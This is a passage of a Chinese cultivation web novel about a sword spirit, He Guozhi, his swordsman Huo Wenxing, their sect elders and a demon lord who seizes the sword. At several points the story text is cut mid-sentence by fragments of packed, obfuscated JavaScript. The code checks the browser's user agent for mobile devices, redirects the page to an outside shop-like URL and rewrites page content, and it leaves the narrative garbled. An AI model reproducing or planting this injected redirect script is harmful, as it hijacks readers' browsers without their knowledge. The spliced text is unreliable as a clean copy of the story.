本来贺果知一直担忧长老们看到他,认为他的会威胁霍闻星,但今天医峰长老,还有宗嚣对他的存在都挺平静的,医峰长老还喊他“小剑灵”,贺果知也就放下心来,光明正大和裴连卿出去。 裴连卿:“还有邪修藏起来了,大师兄和谢师兄正和大家一起在找。都很担心你们,让我过来看看。” 贺果知多要了一份鱼汤,想带回去,想着霍闻星醒了可以喝一点。 闻言,贺果知问:“长老们那么厉害,还有邪修能在长老的眼皮子底下藏起来?” 裴连卿:“当然不是。那些藏起来的邪修,算是‘考核’。” “考核?” “对。” “清平峰发布了任务。” 贺果知听懂了。 剑宗封山大阵启动,邪修们跑不出去,而这些邪修,无需长老出手,正好给剑宗弟子用来练手。 贺果知发现,今日食肆都没几个人,一定是都去找藏起来的邪修了。 贺果知:“那你还不快去。” 裴连卿:“不急。正好吃饭的时间,让我理一下思路。” 和裴连卿说的一样,他既是找贺果知,也是吃饭顺道整理思路。贺果知看他筷子都下歪了,把那块肉推到他筷子底下。 裴连卿回过神,笑了一下:“别光顾着我,你也吃。” 吃完裴连卿送霍闻星回来,走到玉尘峰——宗嚣所居的山峰的山脚下,裴连卿想起什么。 贺果知一看他这个样子,就知道他是想出邪修藏到哪了,贺果知催促:“你快去。” 他都到山脚下了,也不会有什么事。 裴连卿点头,御剑走了。 贺果知沿着山道往前走,一声闷响,撞到一堵无形的墙。他被玉尘峰外的阵法拦下了。 贺果知想起来,宗嚣喜静,不愿外人打扰,所以在玉尘峰外设下阵法。 雪山寒冷,山脚下贺果知已经感受到寒意了。剑宗极为广阔,此时天色暗下来,山脚处除了贺果知一个人都没有。 贺果知:。 贺果知不得不抱着本命剑,出声,喊人:“师尊——” 他的声音,惊起林间飞鸟。 14. 第14章 “进。” 宗嚣淡漠的嗓音在贺果知耳边响起。 这一次,贺果知沿着山道进入玉尘峰,没有被阻拦。 贺果知仰头,看着近乎隐没入夜色的山峰。 他挠了挠脸,把夜风吹到脸上的发丝拂开,冷静地想。 不就是宗嚣的院落在山巅么,没关系,他有操作。 贺果知不会御剑,但他可以回到剑里面,然后再把食盒挂剑上。看他……飘上去!比他拎着食盒爬要轻松一些。 这么想着,贺果知回到剑里面,用剑身扛起食盒,开始往上飘。 飘了一会儿,贺果知感觉自己适应了,开始加速。 用剑提着食盒飘果然比他自己爬要轻松,山间雪景快速被他甩到身后。 贺果知给自己点赞。 干得漂亮! 忽然,贺果知看到山间晃动的雪松,簌簌白雪被凌厉的风裹挟吹起。 贺果知暗道不好,还未反应过来,狂风倏然而至。 贺果知:! 宗嚣选在玉尘峰居住,是因为玉尘峰地脉特殊,风雪本就是一种淬炼。这种裹挟灵力的风雪吹来,贺果知完全扛不住,连剑带食盒都被掀翻出去。 食盒里还有鱼汤! 这么想着,贺果知也顾不得什么,一下从剑里飘出来,用手抓住食盒的提手,一把抱到怀里。 刺骨的风雪穿透灵体,贺果知才反应过来他做了一个多鱼唇的决定。 他这样把自己置身在风雪中,必须松开食盒,他抱着食盒,无法回到剑里面,根本不知道会被吹到哪里。那他干嘛还要去抱,还不如在剑里面,试着用剑把食盒卡住…… 为今之计。 贺果知气沉丹田:“师——” 他刚喊了一个字,呼啸的风雪停下。 “嘶……” 他连人带食盒,落到一柄宽剑上。 剑身太硬了,硌得贺果知有些疼。 下一瞬,眼前的风雪没了,他出现在一个空旷的房间内。宗嚣盘膝,坐在矮塌上,长眸睁开。 宗嚣垂眸看他,眼神异常冰冷。 贺果知被宽剑接得有点疼,此时顾不上,忙从宽剑上下来,食盒放到一旁,恭恭敬敬立好。 “多谢师、尊出手相救。” 说到“师尊”两个字,贺果知顿了一下,内心流泪猫猫头。可恶,宗嚣的徒弟,从程相烽到裴连卿,哪个都不用宗嚣这么拿剑接。 他都不好意思这么喊了。 太尴尬了。 “剑灵,你已开灵智,可有姓名?”宗嚣问。 “有,贺果知。” “为何不会御剑。” 汗流浃背了。 贺果知心里疯狂擦汗,坦诚道:“我虽是剑灵,但志不在修道,也对剑法没有太多兴趣。但是既身为霍闻星的剑灵,我有应做之事,可我问过他,他暂时不需要我把天道所赠的剑法给他,也不需我修炼,他说……” “我相信他就足够了。” 来到玉尘峰被宗嚣看到,贺果知猜想肯定会有这么一问。 所以也在心里准备好回答。 宗嚣没说话,贺果知站在原地不敢动。 宗嚣垂下眼看他,贺果知感觉他什么都会被看穿。有一种食草的小动物,被森然的天道俯视的感觉,会从骨头缝里渗出畏惧。 他真怕宗嚣听了他这么咸鱼的说法,一剑给他戳到魂飞魄散,然后让霍闻星的本命剑重新孕育剑灵…… 越想贺果知觉得越有可能。 本命剑内诞生的剑灵,就没有不痴迷于剑法的,古往今来可能就他这么一个。 这叫什么。 他心里给宗嚣配音。 生错了。 重新生一个。 呜呜呜。 越想越害怕。 很久,贺果知才听到宗嚣的声音。 “出去。” 贺果知如蒙大赦,提起食盒就往外跑。 “等等。”宗嚣道。 贺果知停下,还没撞过来,一个小罐子落到他怀里。 宗嚣:“涂在伤处。” 贺果知:“谢谢师尊。” 出去后把门关上,贺果知双手扶着膝盖,长长出一口气。 吓死他了。 宗嚣没说什么,但这是默许的意思。贺果知胡思乱想,宗嚣这么厉害,是窥探出什么天机放过他?还是因为这是霍闻星的事情,他相信霍闻星会处理好,遏制控制的欲望? 是不是后面这种猜测? 贺果知拎着食盒走两步,突然发现不对劲。 ……他把本命剑给落在宗嚣的房间了。 堂堂一个剑灵,把他的身体落下了。 啊…… 会有剑灵和他一样吗? 贺果知尴尬的想找个地把自己埋起来。 他又谨慎的退回去,踮脚在门外看了看,只能看到屋内的烛火和模糊的身影。他悄咪咪把本命剑召了回来,然后一刻也不停,嗖的一下飘走了。 屋内,宗嚣睁开眼,冷若冰霜的眼眸,眸光穿透门,准确停在贺果知刚才站的位置。 贺果知一路跑回去,回到霍闻星所在的厢房。 跑回来很急,进门贺果知还记得轻手轻脚。食盒轻轻搁到桌上,贺果知抱着剑,在霍闻星床边的脚踏上坐下来,长长出了一口气。 少年仙尊的睡姿很规矩,平躺着,呼吸匀称。 贺果知用很小的声音说话:“老霍,我吃完饭回来了,你要喝点鱼汤吗?” 无人回答。 那老霍你继续睡吧,正好让我倾诉一下。 ——反正睡着,什么都不知道。 贺果知背靠着床架,用特别小的声音,把他用剑把鱼汤抗上来,被宗嚣用剑接到,再到他解释,把本命剑落下来的事情说了。 贺果知当了十几年的人,一时没有把思维扭转过来。 当然,这个他没说。 他只是说:“……我就这么,把剑落下了。” “好尴尬啊……” “老霍你说是吧……啊?” 贺果知话是问霍闻星的,但他没想着霍闻星会回答,毕竟霍闻星正在昏睡。可转回头,对上深邃淡漠的眼眸,贺果知呆住了。 啊??? 贺果知惊得一下弹跳起来,没站稳一屁股坐到地上。 “疼疼疼……”贺果知抽了好几口冷气。 他起身,揉了揉屁股,打量霍闻星,重新回到床边。 贺果知觉得这么大的玉尘峰已经容不下他了,他得连夜扛着自己的身体跑路了。 昏暗的烛火中,依然能看清青年尬得从脸红到耳根,白皙的肌肤晕上绯色。他理着有些散乱的发丝,与其说是在把碎发拢到耳后,不如说在借这个动作缓解尴尬。 贺果知:“你……你不是睡着了吗?啊不是……我想说,是不是吵醒你了?” 霍闻星看向他,摇头:“没有。” 贺果知:“那你怎么醒了?” 霍闻星:“你和我说话,不想让我醒过来吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289152|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 哈哈…… 还真不想。 毕竟他说的是尴尬的事情,想着霍闻星反正睡着,不会知道,正好让他倾诉一下。 “咳咳咳……”贺果知战术性咳嗽,施展话题转移术,跪坐着,手臂撑在床边和霍闻星说话,“诶我带了鱼汤回来,你要不要喝点?还热着呢。” 霍闻星看他一眼,知道他不想继续这个话题,点了下头。 贺果知忙不迭起身,扶着霍闻星坐好,盛了鱼汤端过来。 霍闻星喝鱼汤,贺果知搬了个小凳子过来。 “其实……”贺果知小声,“还真不太想让你醒过来。” 贺果知解释:“你睡着,那就不会知道。你醒着,不就多一个人知道尴尬的事情了,我就更尴尬了……” 霍闻星舀鱼汤的手一顿:“那你……” 贺果知:“想倾诉一下。” 霍闻星:。 霍闻星听懂了。 贺果知看他喝完一碗,问:“还喝吗?” “嗯。” 贺果知开心,心想不枉费他带回来,霍闻星还是喜欢的。 喝完鱼汤,贺果知帮着霍闻星清洁后,霍闻星睡下了。贺果知从柜子找了被褥出来,把肩膀等处涂了一下,在外间睡下——没受什么伤,也不怎么疼,只是他皮肤白,看起来有点痕迹。 霍闻星大部分时间都在昏睡,只有长老过来让他喝药,霍闻星才短暂醒过来。 没有话本,也没有零嘴。贺果知无聊,于是跑出去堆雪人。 也不管捏成什么样子,反正捏了就行。他问医峰长老学了一个法术,可以短暂把雪人保存起来,在屋内也不会化掉。 贺果知又出去堆了一个,回来看到走到屋檐下的程相烽。 外面在下雪,贺果知裹着披风,用披风垫着,拿着他刚捏好的小兔子。 “大师兄,你来啦。”贺果知低声喝程相烽打招呼,“刚才老霍还在睡,不知道醒了没。” 他捏雪人捏得开心,他又不生程相烽的气,和程相烽那边别扭早都被他抛在脑后。 程相烽看他走过来,挑眉:“这是你捏的?” 对啊。 贺果知嗯了一声。 程相烽轻笑一声,目光在他脸上一扫。 什么也没说。 但有时候,什么也没说,相当于什么都说了。 “走吧,我们进去。”程相烽说。 贺果知抱着他的雪兔子,一横,反而不让程相烽进去了:“你想说什么?” 贺果知眯起眼。 “这雪兔子……”程相烽语调懒洋洋的,带了点笑,“有点丑。” 贺果知差点把雪兔子砸在程相烽脸上。 冷静。 冷静! 贺果知劝说自己。 他也不理程相烽,推开门进去。程相烽在他后面,懒洋洋的:“生气了?” “我没生气。”贺果知嘴硬。 说着贺果知一顿,霍闻星不知道什么时候醒了,靠着垫子,手中端着一杯茶水。 他们进来,侧眸朝他们看过来。 贺果知顾不上生程相烽的气,马上放下雪兔子过去,摸了下茶壶的温度:“醒了怎么也不叫我,有什么地方不舒服吗?” “没什么事,没叫你。” “没有。” 回答完,霍闻星眸光掠过贺果知,落到神色散漫男人身上。 刚才程相烽懒洋洋跟在白衣青年后面,凌厉的眼中带着笑,目光一错不错落在青年身上。 15. 第15章(修) 程相烽来看霍闻星。 贺果知拿了果子去窗边矮塌那里吃。这里到床那的距离刚好,既不是太近,也不是太远。 贺果知刚好可以看到,脸色苍白的少年靠着垫子。而他的师兄,带着松散的笑意和他说话。 他们是师兄弟,一个笑着询问,一个捧着茶杯回答。周遭仿佛都与他们隔开,他们之间自由一种无言的默契。 好嗑。 过了会儿,程相烽起身离开,贺果知去送人。 外面风雪大,贺果知穿了披风,出来后,门严丝合缝关好,不让风雪吹进去。 他同程相烽道别:“大师兄慢走。” “慢走?”程相烽笑了一声。 他往前走了一步,两人之间的距离压缩,贺果知不得不后退。 程相烽:“刚才不是还在生我气呢,不想搭理我,现在不生气了?” 贺果知:“……” 贺果知:“现在想起来了。” 光顾着吃果子和抠糖吃了。 贺果知绕开程相烽,往庭院的方向——他还想再捏个雪兔子。 刚走了几步,刷—— 贺果知披风上的兜帽,被程相烽拽住了。 玉尘峰上时不时就有风雪,贺果知不戴兜帽,那代表他要做好被风雪糊一脸的准备。程相烽猝不及防把兜帽拽下来,贺果知已然能够想到,他要吃一嘴风雪了。 可恶! 又是来自大师兄的警告吗?! 贺果知气鼓鼓回头,预想中如刀如剑的风雪却没刮到他脸上。 程相烽抬手,在风雪吹来的方向,用手挡了一下。风雪撞上去,隐约可见淡金色的铭文闪烁,这是一个用来防御的法术。 贺果知一时没明白,程相烽要干什么……就为了拽兜帽?还是让他停下来? “……你到底要干什么?”贺果知问。 程相烽手上用力,贺果知不得不跟着披风被拽到程相烽前面。 程相烽垂下眼看他,唇边依然是散漫的笑,出口的语气却有些冷:“真意外,师尊竟然留下你了。我还以为你这样非同寻常的剑灵,师尊不会留。” 贺果知咯噔一下,心想。 真巧,他起初也是这样以为的。 但现在…… 程相烽说他的兔子丑,那他也不客气了。 贺果知:“那说明你笨,猜错了。” 程相烽笑了一下,松开拽着他兜帽的手,用来挡风雪的手,却始终没放下来。但贺果知正怀疑程相烽是不是又要警告他,并没有注意到。 程相烽:“既然师尊让你留下来,必然有师尊的用意。” “我暂时也可以信任你,认可你是师弟的剑灵。” 程相烽看着不正经,还会开玩笑,但他从程相烽这句话中,听出了试探和诚意。 程相烽心中未必完全放下警惕,但宗嚣对贺果知的认可,至少让把贺果知划到“自己人”行列里。 “那你也算我半个师弟了。”程相烽又恢复成散漫的样子。 程相烽伸手,把他拽下来的兜帽,又给贺果知戴上,转身走了。 贺果知:“……” 他站在原地,想: 嗯,他那半个师兄走了。 程相烽看完霍闻星离去,贺果知又堆了一个雪兔子,他有些困,飘回剑里面。 贺果知和往常一样,从剑里面飘出来。 ——一片漆黑。 嗯? 怎么这么黑,一点光亮都没有。 似乎他在被子里……? 贺果知找个方向爬出去,一脑袋磕到什么。 被他磕到的人,呼吸明显变化,醒了过来。 贺果知的瞌睡虫一下都没了,懵了一下才反应过来怎么回事。 霍闻星在睡觉的时候把本命剑收到丹府里了!仙洲剑修大都如此,大部分时候本命剑都在丹府之中,是温养也是用灵力淬炼。 只是最近霍闻星时常昏睡,贺果知又不想总是打扰,本命剑才放在外面。他醒过来,以为本命剑还在外面,如往常一样出来,那不就是从丹府中飘出来,所以在霍闻星的被子里。 他刚才磕的,是霍闻星的下巴。 贺果知抬头,看到霍闻星醒了。 窗外的天色有些暗淡,霍闻星掀了下眼皮,刚醒过来嗓音低低的:“怎么了?” 霍闻星侧躺着,手松松在贺果知腰侧——不是后来揽的,而是贺果知出来的时候就在霍闻星的怀里,从霍闻星臂弯里钻出来的。 “这……这个……” 把人,尤其是正在伤势恢复期的人吵醒,贺果知不好意思,且愧疚,声音都轻几分:“我没注意剑在丹府里,吵到你了。” “你睡吧。” 少年单薄的眼皮微抬,眸光一如既往的沉冷。 他没说话,看着贺果知小心的挪开他的手臂,钻出来,伸手虚握——这是要召出剑来,又想起什么,问:“你还要再养一会儿吗?” 这句话由剑灵来问,大概等同于:他可以出去玩吗? 霍闻星摇头。 贺果知把剑召出来。 白衣似雪,长发如瀑,他抱着一把银白的剑,跪坐在床上。 霍闻星闭上眼。 贺果知看到霍闻星要睡了,把被他掀开的被子掖好,小心从床上下来。 下来后,贺果知无声出口气,抻了一个懒腰。 别说,虽然剑里面很硬,但在丹府温养着,他睡了一觉还是很舒服。 感觉似乎比平时更有力气了。 七天后,医峰长老来给霍闻星诊脉,宗嚣也来了,贺果知乖乖立在一旁等着。 长老捋了捋胡子:“恢复的不错。” “不过别急着修炼,再等两天,余毒彻底清了再说。” “是。”霍闻星应声。 诊治完嘱咐几句,长老起身往外走,余光看到什么,步伐一顿:“那是?” 宗嚣在医峰长老身旁,顺着长老说的方向看过去。 在窗子边缘,堆满了雪捏的雪人和兔子什么的,一个挨着一个,都用法术保存着。 不待贺果知回答,长老想起什么,回头找到贺果知:“想起来了,那日你问我法术,就是要捏雪人。” 长老转过来,宗嚣自然也转过来。瞬间贺果知感受到,一道冰冷的目光自上而下,落到他身上。 贺果知一僵,语气如常回答:“对……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我……”贺果知干笑。 一道冷淡的声音,同时响起:“薛长老。” 宗嚣睨向长老:“你来的时候说,还要去抽查弟子们功课。” 薛长老一拍脑门,想起来了,加快脚步:“差点忘了,我先走了,不用送了。” 说完,薛长老匆匆离开。 他御剑离开,忽然听到身后小剑灵的声音。 “师尊……” 薛长老不慎狠狠揪了一下胡子,喃喃:“怪不得,我刚才就觉得宗嚣看我那一眼有点冷呢。原来这小剑灵喊他师尊啊……” 他刚才当着宗嚣的面抢人,宗嚣能不冷吗。 门外,贺果知道:“师尊放心,我会照看好霍闻星的。” 宗嚣垂下眼,嗯了一声。 贺果知:“师尊还有什么吩咐吗?” “回去罢。”宗嚣只留下冷淡的三个字,身形从原地消失。 贺果知悄悄松口气。 虽然宗嚣认可他的存在,但宗嚣身上那种淡漠的气场太强,他面对宗嚣,多少还是有点怕。 贺果知推门进去时,看到霍闻星坐在床上,手中拿了一个帕子,正在擦剑。 少年侧对着贺果知,轮廓俊秀,但同时可以看到未来的影子,眉眼等处可见凌厉。他垂下眼,很专注在做手上的事情,好似并没有听到外面的对话。 但修士耳聪目明,这点距离,没有用法术遮掩的对话,他必然是听到了的。 16. 第16章 霍闻星在擦剑。 他垂着眼,棉布擦拭在剑身上,一个角落都不放过,动作很细致。 贺果知飘过去,好奇:“平时不都用法术吗?” 映入贺果知眼中的,是少年筋骨分明的手,略显苍白的手背上青筋浮现。这是属于剑修的手,修长有力。 霍闻星垂着眼:“今日想擦。” 他的目光专注,手上的动作缓慢认真。 贺果知趴在床边看了会儿,忽然想明白了。 这就是,爱不释手吧! 剑修哪儿有不喜爱自己的剑的,霍闻星也是如此。无论哪个剑修,都十分珍视他们的剑。剑是他们最亲密的伙伴、朋友、家人,不离不弃。剑之于剑修,拥有特殊的含义。 没有剑修会抛弃他们的剑。 作为霍闻星现在的本命剑,贺果知的感觉……安全感爆棚,心里暖暖的。 没穿成人怎么了,霍闻星这么宝贝他,不要太好。 飘了这么久,他都有点习惯没身体了。 虽然还是想要,但现在也很好。 这么想着,贺果知回到剑里面,安心躺平。 快擦。 霍闻星擦剑的手一顿。 “出来。”霍闻星淡淡道。 他握住的贺果知手腕,把贺果知从剑里面拉出来了。 啊? 贺果知呆呆坐到床上。 贺果知不理解:“我不能进去?” 他把手拦在剑上,阻止霍闻星的动作。 垂眼擦剑的少年,不得不停下来,抬眸去看他。冷淡的眸光从眉眼下移,看得一如看他的剑一般细致。可是掩饰的好,在贺果知看来只是霍闻星扫了他一眼。 “剑是你的身体,你在时,我不便随意擦拭。”霍闻星道。 清淡的视线,落在贺果知脸上。 贺果知愣了一下,才反应过来是什么意思,白皙的脸爆红,从脸颊红到耳根。 “不不不不不是这样的!”贺果知都打磕巴了,急急解释,“剑就是剑,是没有人的身体头、手、脚这样的区分的!” “当我在剑里面,对我来说,我有的是剑柄、剑身。” “你明白吗?” 怪不得霍闻星把他拉出来! 不然就是在摸他?! 而空着的本命剑,算是未诞生剑灵的本命剑,如此霍闻星才会擦拭。 霍闻星凝视他,思索他说的话。 贺果知:“真的真的,老霍!我……我怎么会占你便宜!” “要不……”贺果知灵机一动,“你想个办法去剑里面呆会儿,你就知道我说的了。” 霍闻星沉吟片刻,回答贺果知的问题:“你是剑灵,我就算进去,也和你不同。” 贺果知轻咳一声:“那我,进去了?” 他迫切想找个地方把自己埋一下,就剑里面吧,里面黑漆漆的,合适。 “嗯。” 贺果知回到剑里面。 霍闻星和秦飞情交手,本命剑上不可避免沾染上魔气。这种魔气用清洁术是无法祛除的,可在在霍闻星擦过后,缠在剑上的魔气没有了。 贺果知一身轻松。 他把自己翻个面,给霍闻星擦另外一面。 瘫在霍闻星手上,贺果知想起接下来的原著情节。 等霍闻星的伤好了,他会去接一个任务,这个任务霍闻星很快完成,在返回剑宗的路上,他被魔尊秦飞情捉走了。 同时,这也是谢振涛和霍闻星一个比较关键的感情节点。 霍闻星被秦飞情抓走,一同出任务的谢振涛先给宗内送信,然后一路追踪,潜入秦飞情的地盘,和霍闻星一起逃走。 也就是说,接下来贺果知有两大块糖可以吃。 为此,贺果知特意往霍闻星的乾坤戒中放了不少瓜子点心茶水。 也不一定能吃到,纯粹图个前排vvvvvvip观看的氛围。 等霍闻星的伤彻底好了,他离开宗嚣的玉尘峰,去清平峰接了平定水祸的任务,同行的剑宗弟子,正是谢振涛。 深夜,仙舟行驶在宽阔的江面上。 阴影中,似乎有什么跟随仙舟,在水下隐藏。空气中,潮湿的水汽中夹杂着一股腐臭的味道。 那味道不加掩饰,似乎是在炫耀他的强大,丝毫不掩饰他对于仙舟之上的剑修的恶意。 让暗中之人愤怒的却是,仙舟上一黑一白两名剑修,并没有因为愈发浓郁的腐臭慌乱,还在轻松对话。 黑衣剑修说:“霍师弟,这次换个比法,看谁先把操控水尸的邪修抓住。” 白衣答应:“好。” 漆黑的江面中,数不清的水尸顺着仙舟往上爬。它们的外表腐烂,散发着难以言说的臭味,但它们怨气冲天,身体格外强横,听从尸主的命令。 这么多的水尸,寻常人看一眼都要肝胆俱裂,两名剑修的神色却没多少变化。 谢振涛先动,提剑斩杀,手起剑落无数水尸尚未反应,已然尸首分离。 霍闻星紧随其后,斩杀的速度与谢振涛几乎一致。 藏在暗处的邪修,总算感受到了惊恐。 潜藏在江下的水尸,全都朝他们扑过去。 贺果知…… 贺果知要吐了。 之前在春深城,他被用来破坏阵法,霍闻星大多时候用他也是兵器之间的碰撞。而这一次,剑身却要没入尸体之中,味道还格外难闻。 贺果知也想过让霍闻星帮忙封闭五感,可他毕竟是一把剑,这种必要的使用他总要适应。而且封闭五感,他什么都不知道,那也是很可怕的事情。 不知道过了多久。 邪修抓住了。 霍闻星立刻给他用了清洁术,贺果知从剑里跑出来,大口呼吸—— 呼不了。 江面上都是需要清理的尸体,驻扎此地的宗门,当地的府兵已经组织人来打捞了。 一个面巾递过来。 贺果知头晕目眩,嗅到一股清淡的兰花香气,他把面巾戴上。瞬间没了如影随形的尸臭。 贺果知靠着船边坐了一会儿,感觉口渴。 一个水袋递过来。 贺果知咕咚咕咚喝了好几口水,这才感觉他缓了过来。 抬眸,看到谢振涛。 谢振涛打量他,问:“好些了吗?” 贺果知点点头。 谢振涛沉声给贺果知解释:“那位宗门掌门和霍师弟的师尊是故交,故而有些话要说。” “面巾是霍师弟让我给你的,他猜到你会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跑堂畏惧地看着谢振涛的剑,带着哭腔:“哎呦您说什么?小的怎么听不懂……” 谢振涛:“我说和我同一桌,坐在这里的两个人。” 那道猪肚鸡的味道浓郁,谢振涛看了眼,等跑堂把猪肚鸡放下来。然而等他再抬头的时候,他对面的贺果知,身边的霍闻星,全都消失不见了。 很黑。 金属铮鸣之声! 这里冰冷坚硬,贺果知很熟悉,是在剑里面。 而外面的声响,是霍闻星在用剑和人交手! 贺果知用剑的视角,看到外面的情况。他们郊外,十几个黑衣人包围霍闻星。哪怕对方人多,他们也不是霍闻星的对手。 没等贺果知松口气,一道身影出现,卸掉霍闻星的手腕,夺走他手中的剑。 秦飞情把玩手中的剑,笑道:“又见面了。” “有长进,” “但不多。” 秦飞情评价。 当着霍闻星的面,秦飞情的手指,一寸一寸摸到剑身上。 17. 第17章 秦飞情双指并拢,指腹压着剑身,摸得十分细致。 狐狸眼弯着,像是在做一件十分让他愉快的事情,喉咙中溢出一声低叹:“霍闻星,你的本命剑真不错。” 秦飞情近身时,不止卸了霍闻星的手腕,而且封住他的灵脉。身穿黑衣的魔修们,立刻一拥而上,无数的兵刃架在脖颈,长枪穿过手臂等处,近似于枷锁。 刚才还游刃有余的白衣少年,狼狈的被押制着。 手臂被反绑,魔修压低他的肩膀,身体被压低,他却死死抬眸,凌厉的眉压在乌色的长眸上,漠然冰冷注视秦飞情抚摸长剑的手。 他这个眼神,让秦飞情愉悦地笑起来。 秦飞情随手把收入剑鞘,摩梭着剑柄,居高临下看着霍闻星:“这个眼神是什么意思?” “想杀我?” “想剁了我的手?” “想扒皮抽骨?” 秦飞情笑道:“可是,现在的你不行。” 说到最后一个字,秦飞情的笑容骤然收敛起来,语气嘲讽:“区区金丹而已。” 一旁的魔修请示:“尊上,要不要挖了他的双眼?” 秦飞情摆摆手:“不必,押下去看好。” “他这双眼睛,留着还有用。” ——贺果知被一只陌生的手拎在手里,整个剑都麻了。 他仔细回忆原著剧情,发现根本没有夺剑的这一段,但同时,原著中这段剧情也没有剑灵。所以他的出现,改变原来的情节? 秦飞情拎着他要去干嘛? 没事稳住,贺果知一边心尖颤抖一边安慰自己。他可是霍闻星的本命剑,削铁如泥,坚硬无比,不用怕。 可是这种情况下,他竟然还能浅嗑一口。 这就是死对头! 针锋相对! 孽缘缠连! 贺果知第一次哭着嗑cp,这感觉可太刺激了。 不是前排vip,都没有这种效果。 哐。 忽然,他感受到秦飞情把他放到桌面上。贺果知用剑的视角,看清这是一间布置奢华的卧房。 秦飞情坐下,呷了一口茶,不紧不慢道:“出来吧。” 贺果知想装死,可上次他这样做,不知道怎么被从剑里弹出来了…… 贺果知从剑里飘出来。 秦飞情把剑放到桌上,贺果知从桌子的边缘跳下来,落到地面,站好。 秦飞情放下茶盏,笑吟吟的:“美人,我们又见面了。” 贺果知完全笑不出来。 他谨慎地询问:“你要干什么?” 秦飞情还是笑眯眯的,打量他:“这身剑宗的白色校服很是难看,你不觉得吗?” ……贺果知还觉得挺好看的。 霍闻星他们三个穿白衣都挺好看的,而且各有各的好看。 贺果知抿唇没有回答。 秦飞情也不恼,笑着说:“你要是不开口,我就拔了霍闻星的舌头,然后再用丹药让他的舌头长出来。一次不说,我拔一次。” 贺果知的冷汗刷的下来了。 “……你想让我说什么?” 秦飞情:“说剑宗的白衣丑。” 贺果知:“……剑宗的白衣很丑。” 秦飞情:“对,我也这么觉得,所以我给你准备了一套别的衣裳,你换上。” 啊? 贺果知看不懂这个发展,更看不懂秦飞情。 秦飞情:“不愿意?” “没有。”贺果知说。 他不说话秦飞情都要拔霍闻星的舌头,他要是不换衣裳,以秦飞情的性格,绝对会说出把霍闻星的皮扒了这样的话。 秦飞情起身,高大的身形几乎笼罩住贺果知。华贵的锦缎长袍间,一股幽幽的香气浮动。 他用闭合的扇子,挑起贺果知的下巴。 贺果知被迫,对上秦飞情深邃的双眼。 贺果知也不想怂,可他眼睫,忍不住轻颤了一下。 他的惧怕似乎取悦了秦飞情,秦飞情大发慈悲放开他,离开这间房间。 不一会儿,侍女们鱼贯而入,捧着衣裳还有饰品进来。 贺果知只看了一眼,呆住了。 托盘上粉粉的东西是什么,给他穿的衣服吗?秦飞情到底想要干什么? 说是侍女,但贺果知在她们的身上,感受到了灵力的波动,她们都是魔修。 为首的侍女上前,恭敬道:“公子,我来帮你宽衣。” 贺果知捂着衣领,一下飘走:“不用,我自己来。衣裳你放下来,我自己换。” 侍女迟疑:“可是款式有些复杂……” 贺果知:“我穿上后,你再帮我整理。现在你们出去等着。” 侍女垂首应道:“是。” 放下衣裳饰品的侍女们,退出这间房间。 等侍女们出去,明知道不太可能,贺果知还是拿起秦飞情放在桌上的剑,查看窗子、门、房顶等处的守卫。然后得出一个结论,他跑不出去,屋外各处都有魔修守着。 贺果知叹口气,放下剑,研究要他换的衣裳。 他是灵体,自他在剑里苏醒那日,身上就是用灵力凝聚的衣裳。大概因为持剑者是剑宗剑修,所以他的衣裳也是剑宗校服的款式,和霍闻星的一摸一样。 也唯有这件相当于他灵体一部分的衣裳,可以随着他出入剑内剑外,其余的都带不进去。 贺果知有意拖延,慢吞吞换衣裳。 在原著剧情里,发现霍闻星不见了,谢振涛给剑宗送信找帮手,同时感觉残留的魔气一路追查。故意制造动静,帮助霍闻星从秦飞情这里逃走。 也就是说,只要他多磨蹭一会儿,等到剧情发生,霍闻星就会来带他走了! 饭都没吃,贺果知又渴又饿,但他没动桌上的茶水点心。 魔尊秦飞情的东西,他可不敢吃。 忍。 忍。 忍。 点心的香味却跟往他鼻子里钻一样,贺果知都脑补出点心多么香甜可口了。 这时,门外响起的声音打断贺果知的思绪:“公子,衣裳换好了吗?” 贺果知看了眼身上的白衣,回答:“没有,等会儿。” 门外安静下来。 过了会儿,侍女再次问:“公子,好了没有?” 贺果知正要说话,忽然听到门外的声音:“还没有?” 是秦飞情! 像是故意说给他听的,秦飞情问:“哪里不会穿吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289155|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我进去帮你。” 贺果知呆了一下,以最快的速度飘到门边,用轻飘飘的灵体堵住门:“没有没有没有,很快了!不要进来!” 要是让秦飞情进来,看到他这么久只解了一个腰带,他怕不是此刻就要凉了! 单纯凉就算了,秦飞情的手段,那他绝对是求死不能。 门外,秦飞情象征性地,推了一下门。他的力气,门内剑灵是绝对抵不住的。门开了一条缝,可以看到缝隙间的一抹白色。 跟在秦飞情身后的侍女,在看到这一抹白,还有什么不明白的。 胆敢骗秦飞情,那下场…… 缝隙很小,不注意根本看不到。秦飞情刚好把手收回来,像是没看到一般,道:“好吧。” “剑灵。” “我耐心不多。” 